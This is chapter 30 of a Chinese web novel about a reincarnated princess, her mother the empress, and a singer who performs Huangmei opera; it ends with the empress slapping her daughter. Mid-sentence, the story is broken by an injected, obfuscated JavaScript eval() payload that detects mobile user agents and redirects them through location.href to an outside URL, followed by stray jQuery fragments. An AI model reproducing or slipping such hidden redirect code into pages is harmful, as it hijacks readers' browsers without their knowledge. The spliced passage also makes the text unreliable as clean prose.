30. 掌掴破碎
作品:《公主与戏子(双穿越)》 事情交代完毕后,温吟知在出宫与回栖鸾宫的宫道上与施毅分道扬镳。
她迫切地想早些回宫,与肖赢分享她今日的喜悦。
待到栖鸾宫时,发现大门紧闭。温吟知意识到不对劲,归途上的喜悦顿时消散了一半。
她推开门,一入内便发现她母后的人占据了整个院子。
有守门的小宫女前来回禀:“皇后娘娘的人封锁了整个栖鸾宫,不许奴婢们去向公主报信。”
温吟知心慌了一下:“肖公子呢?”
小宫女:“皇后娘娘把肖公子喊了去,没让奴婢们接近正殿。春雪姐姐在正殿里未曾出来。”
这几日发生了那么多事,想必她母后均已知晓。
兄妹相争,不守闺阁,行事出挑……温吟知越想这几日她的行径,越发觉得害怕。她母后裴氏出身第一世家裴氏,是个最讲究门第观念的人。
今日前来,恐怕来者不善。
她提着裙摆小跑入正殿。
裴氏皱眉看着她这般急切的模样,慢悠悠说道:“浓浓,你跑什么,何事这般急。”
温吟知环顾四周,殿内未曾瞧见肖赢的身影。春雪被母后留在身边,快速地向她眨眼,又小幅度摇头。
温吟知无法看懂春雪是要同她说肖赢有事还是无事,心不在焉地回复母后:“女儿渴了,因此急了些。”
自己养的女儿自己知晓,裴氏微不可微地轻笑一声:“你是渴了,还是着急寻人。”
被拆穿了,温吟知便也大方承认:“母后既然知晓,便不要再卖关子了。肖郢人在哪?”
裴氏吩咐着春雪:“你去替公主沏壶茶来。”
“是。”春雪行礼,眼睁睁看着自己被支出去。
自此栖鸾宫殿内全是母后带来的人,也无人告知她肖郢在哪。
“母后。”她忍不住再问一次:“肖郢人在哪?”
温吟知话语里是毫不掩饰的担忧与急切,裴氏还是头一次见自己女儿这么在乎谁。裴氏招手欲唤她来身侧坐,却在对上她陌生的双眸时,手停在了半空中。
她的眼中有防备,对她这位母后有了防备之心。
裴氏心下一紧,纵观近来这些事,也许她从未真正了解过浓浓在想什么。
裴氏收回手,怅然道:“浓浓,你回头看看。”
温吟知回眸,有人逆光而来,庭芜绿轻纱飘逸地落在他身后。
他上了妆,雪肤乌发,眸含秋水,清波流转。
温吟知怔忡几秒,觉得眼前人恰似春日里那抹悄悄爬上枝头的新绿。
肖赢行礼,温声唤她:“公主。”
日光下流光溢彩的袖摆随他而动,他的一言一行均是上佳。裴氏坐在主座上静静地看着二人,并未出言打扰。
郎俊女貌。
两人光是站在一起,就美好得似一幅春光山居图。
温吟知靠近了他些,悄声问:“可有事吗?”
清眸低垂,鸦羽投下一片阴影。
他低头看着眼前的姑娘,道:“并未,皇后娘娘只是想听我唱曲。”
温吟知悬着的心终于放下。
但他大病初愈,温吟知并不想让肖赢上台表演。因为肖赢的舞台大多数都是很热血沸腾的唱跳,这对他伤势不利。
像是看出了她的担忧,肖赢温和地安抚她道:“信我,无碍。”
温吟知看着肖赢温和的双眸,鬼使神差地点点头。
但她还是小声委婉道:“我母后是个古人,接受不了太潮的东西。”
她能接受肖赢穿着这一身飘逸似仙的衣服搞唱跳,但她不知晓她母后对新事物的接受程度,还是不要让肖赢冒这个险了。
听闻此话的肖赢眉眼含笑地颔首:“好。”
听不到二人窃窃私语的裴氏忍不住开口道:“肖公子现在可以开始了吗?”
“可以。”肖赢不慌不忙应道,姿态从容地往外走几步,对着外边的人说:“进来吧。”
“浓浓。”裴氏拍了拍她身侧的位置,温吟知会意坐在裴氏身侧,视线一直锁定在肖赢身上。
当看到一一抱着二胡、笛子、还有自制沙漏,和架子鼓的乐女们,她不由瞳孔微张,紧张地看向自己母后。
只瞧见母后微微挑眉,眼底只露出几分好奇,并无恶意。
温吟知一时间有些迷茫,不知母后是来寻肖赢麻烦的,还是单纯想来瞧人的。她这几日做得那些事,都够在野史上名垂千古了。
熟悉的音乐声响起,打乱了温吟知的思绪。她下意识往肖赢的方向看去,她知道肖赢要唱什么了。恰巧肖赢也看向她,二人目光在空中汇聚,心有灵犀地相视一笑。
他看着她开唱:“从小爹娘就对我讲,黄梅戏那可不是很好唱。模仿着大人的身段模样,实现了我的愿望。”注①
嗓音清脆,音律悦耳,字音准确。
这一段经典的旋律,将温吟知带回那个熟悉的世界里。
在场所有人的眼睛瞬间亮了,目光直直地看向肖赢。
温吟知观察着母后被深深吸引的表情,以及周围人的反应,有种自己珍藏许久的宝贝终于被大家看到认可的自豪感。
肖赢唱的是来自后世黄梅戏中女驸马一曲。
当他用戏腔唱着‘为救李郎离家园,谁料皇榜中状元’(注②)时,温吟知即使是他十年的歌迷,也根本挪不开自己的双眸。
她在现代可从未听过肖赢唱过戏曲,这和唱流行音乐不同,戏曲属于声乐学,在发声、吐字、行腔、气息上的要求都不同。
她从早上出门至今才过三个时辰,肖赢便可以在这么短的时间内,教会使用不同乐器的乐女进行一场完整的演出。可见他在音乐方面上的造诣到底有多高。
他本该在舞台上闪闪发光,做他的大明星的。
肖赢边唱边观察着大家的接受程度,还好在场的所有观众都未流露出排斥的神色。
他的这场演出是成功的。
温吟知这一刻就像是回到现代演唱会舞台上,肖赢在舞台上快乐恣意的日子里。
随着最后一个甩袖的动作,肖赢衣袖上的青纱随风盖落在他头上。他动作从容地掀开青纱,青纱之下是他羞涩的笑和如玉般的容颜。温吟知看着他忍不住笑得眉目弯弯,满心满眼里的都是喜欢。
谁人能不爱‘甜妹’呢?
包括她的母后也逃不脱甜妹定律。温吟知看向自己的母后,母后正满脸慈爱地看着肖赢。
肖赢协众位女乐工谢幕。
裴氏满意地夸赞道:“人是长得极极漂亮的,唱功也十分了得。本宫从未听过这般的曲子,你是从何处习来的。”
肖赢不急不躁地答道:“偶然间从一残缺孤本上所得,孤本上正巧记载着这一出女驸马。”
“哦?女驸马?”裴氏提了兴趣,“女子怎能为驸马。”
肖赢:“这便要从主人公的早年经历说起。”
肖赢向裴氏讲述女驸马的故事,听完整个故事的裴氏心中感慨万分。其中让她最受震撼的便是:“冯素珍一闺阁女子,为救李朗,女扮男装冒名赶考,竟中状元。既救己于水火之中,亦救了心上人。”
“冯素珍之才丝毫不逊色于男子,是位有勇有谋有才华的女子。”
肖赢含笑颔首,视线温柔地落在温吟知身上,再移回来称赞裴氏:“娘娘大慧。”
温吟知怔了怔,这才后知后觉的反应过来,肖赢为何要选黄梅戏中这一出女驸马。
裴氏仔细打量着肖赢,她难得见到从底层上来,有他这般长相出众外、还进退有度的人。
看得出来,肖赢是个好孩子。但裴氏也很难判断出是,这一切是不是浓浓提前便交代好的。
裴氏心中情绪缭乱,但面上不显。她对着屋内众人道:“除永宁外,你们都先下去。”
众乐工随侍宫女齐齐退下,肖赢看向温吟知。她点点头,肖赢便随着人群退出。
温吟知静候母后的下文,思家不知晓从哪扇窗户里跳进来,径直跑到温吟知身侧的圆桌上,安稳趴下。
裴氏没驱赶它,也没拐弯抹角,直接问道:“今日这曲黄梅戏,是你提前安排好哄母后的吗?”
她知道浓浓不会对她撒谎的。
温吟知否认:“不是,女儿并未想过。”
她想得更多的是如何成功进入金銮殿。
结合浓浓刚回宫时急切的神情,裴氏明白她说了实话,今日这出戏是那位姓肖的戏子擅自做主安排好的。
他倒是有心了,是个知冷知热的人。但他的身份难登大雅之堂,是远远配不上自家浓浓的。裴氏在心中惋惜,回想起两人站在一起时的光景,就连春色都逊色了。
裴氏今日而来,就是为了解决自家女儿流言蜚语一事。方才那出,只是顺便瞧瞧流言蜚语的主角。主角为人如何,便有不同的处置方法。只有见上一面,她方能知晓该如何处置。
裴氏与温吟知说着掏心窝子的话:“母后亦是过来人,知晓人总会被美丽的皮囊所迷惑。但浓浓,成婚生子是一辈子的事情。肖郢他身份低微,若母后跟你父皇去后,你兄长也有鞭长莫及的时候。到那时,他能护住你吗?”
温吟知神情平静端坐在位,未发一言。反倒是思家不耐烦地摇着尾巴,微微眯起的眼睛里透露出一丝危险。
裴氏以为温吟知没有反对,便是默认她的说法。她爱惜肖赢的才华,也心疼自己这情窍初开的女儿,便破例做主一次。
裴氏说:“母后会将他提携为正八品协律郎,让他摆脱奴籍,留在母后身侧。并对外宣称他是你特为母后寻来取乐的戏子,以替你正名。”
“从此,你便与他划清界限,再无瓜葛。”
话落,静默一瞬。
温吟知看着裴氏,见她没有继续的意思,这才开口问:“母后说完了吗?”
裴氏颔首。
温吟知不知是该庆幸还是懊恼:“原来母后还不知今日发生了何事。”
难怪母后刚才将众人支开后说‘今日这曲黄梅戏,是你提前安排好哄母后的吗?’。母后以为她行事放浪张扬,犯了错,知晓母后必然会来寻自己的,因此安排好戏曲哄母后开心。
而她以为是另外一层意思。
温吟知没有答应替肖赢做决定:“协律郎一事得征求肖郢本人的同意,女儿不会替他做主。”
裴氏不以为然:“他能摆脱奴籍成为八品官员,这是多少人几辈子都修不来的福气,他自然是乐意的。”
“至于发生何事,浓浓是指你今日进入金銮殿帮钦儿证明稻种一事吗?”裴氏出门来栖鸾宫前,听小太监提了一句陛下请永宁公主入金銮殿。
今日朝会陛下会将钦儿研制出四石稻种一事,在民间公之于众。因此裴氏下意识以为自家女儿是去帮忙的。
温吟知垂下头,伸手摸了摸思家的额头上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415625|198783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的绒毛,并不知晓该如何叙说。
裴氏见状,直觉不妙。
恰巧这时外面有人敲门,道:“皇后娘娘,四殿下身边的老嬷嬷递来一封信,说有急事寻您。”
裴氏:“何事这般急切,拿进来吧。”
温吟知摸猫的手一顿,送信人已推门进殿将信交到母后手中。
她收回摸猫的手,抬眼注视着母后,亲眼见证母后打开信,表情由最初的疑惑慢慢转为震惊,不解,甚至愤怒。
温吟知不由将身子坐直,做好了准备。
裴氏像是在做最后的挣扎,问她:“今日你去了金銮殿,在朝会上告知所有人,这四石稻子是你所种?”
温吟知承认:“正是。”
裴氏脸色微变,继续质问:“你哥哥信上所说,你不愿将此等功劳让给他。甚至设局,将人证调换成礼部尚书家的侄子,让他错杀人证,意图挑起你哥哥与礼部矛盾,可是真的。”
温吟知抿唇,承认:“正是。”
果然,听到她肯定回答的裴氏怒不可遏:“跪下!”
温吟知没动,她没跪。
胎穿以来,温吟知一直觉得自己虽然是个骨龄虽小,但身体灵魂与这对父母并不相差多少的小大人。毕竟父皇母后是第一次当父母,她却是第二次当女儿了。因此这十六年来,她从未与父皇母后红过脸。
但今日,她不愿了。
裴氏正气头上,疑惑不解更占上风。在她的认知里,她是十分不明白自己的一双儿女为何争斗至此。
于是她不可置信地质问温吟知:“你到底在图什么?元钦可是你亲哥哥,将来若是继承皇位,对你百利无一害。你为何不愿帮他……”
“你一介女子,要权又有何用?”
温吟知联想起那个困扰她许久的梦,抬起头来问裴氏:“母后可曾还记得女儿这一个月以来,都反复在做一个梦吗?”
裴氏记得,但并不知晓梦里具体内容。每每问及,浓浓均不告知。
温吟知试图让母后理解她:“梦里父皇在寿前便驾崩了,而母后您在父皇驾崩后不久,也因感染伤寒之症离世。”
“你们走后,四哥登基。而女儿被四哥软禁,困于小小的院中。”想起这些她神色有些恍惚,“在那看不清的梦里,有一男子入了女儿的寝殿里……”
“再接着便是女儿撕心裂肺的哭声,以及从门沿出渗出的鲜血。”
那是一段即使饮了安神汤也无法安神的日子。
日日入梦,皆是此景。
“我不信他。”温吟知铿锵有力地说道,她口中的他便是温元钦。
她说:“我不信任何人,我只相信我自己。”
裴氏摇头,语气和婉了些:“浓浓,那只是梦。父皇跟母后不会死,你四哥也不会如此对你,更无人可伤你。你要分得清梦境与现实。”
裴氏忽然间有些理解浓浓为何如此了。
她说:“你这是梦魇久了,得了癔症,将梦里的事当真了。”
温吟知闭上眼摇头。
不,不是的。她很清醒,即使这些事情都没有发生,但至少让她看清楚了温元钦,让她明白即使是一母同胞的嫡亲哥哥也并不可靠。
裴氏不想与她继续争论此事,心下已经做了决定,必然要寻太医替她瞧瞧。
裴氏先退一步:“好,此事先不提。母后知你性子要强,不愿相让属于你自个的东西。但你为何要设计害你四哥,将他勾上人命?”
她痛心疾首地看着温吟知:“浓浓你可是被父皇母后细心呵护长大、金枝玉叶的公主,为何要使这般肮脏的手段去陷害你亲哥哥。”
裴氏无法置信自己精心培养十六年的女儿,众女子典范的嫡公主,背地里却是个……她不想用‘蛇蝎心肠’这般歹毒的词去形容自己的女儿。但浓浓明明就坐在那,她却感觉浓浓离她好远好远,陌生得不似她认识的那个人。
温吟知双眸低垂,语气里毫无忏悔之意:“若哥哥不杀他,他便不会死。”
裴氏一怔。
温吟知慢慢地抬起眼,裴氏看着她,她倔强的眼神里带着几丝不服气。
她迎着裴氏的目光,铮铮然说道:“而且——他该死。”
“就算再来一千次,一万次,女儿都必将他杀之!”
“你!”
“你……”裴氏气不成声,气急之下挥起手重重朝她脸上落下。
啪——
清脆的掌掴声。
趴在温吟知手边的思家立即炸毛,原地跳跃向裴氏扑去,裴氏惊得连连后退。
思家挡在温吟知身前,不允许裴氏靠近。
这是温吟知两辈子以来,第一次被人掌掴。那一瞬间,她的眼前闪过许许多多的回忆,从她牙牙学语到亭亭玉立,眼前的母后始终都是温柔大气端庄的母后,从未这般对待她。
温吟知捂着被掌掴的那半张脸,愣了许久。
同样愣了许久的,还有裴氏。
温吟知始终保持着被掌掴后的那个姿势,她没有转过脸来,问:“母后也觉得女儿是位满肚子算计,歹毒的女子?”
裴氏哆嗦着手,从未想过自己也会如市井妇人一般动手打人,打得还是她最喜爱的浓浓。
可浓浓的语气里听不出任何情绪,似从心底里不觉得自个残害手足,草菅人命有错。
这让内心懊悔的裴氏咬着牙,眼含热泪,说了句:“是。”

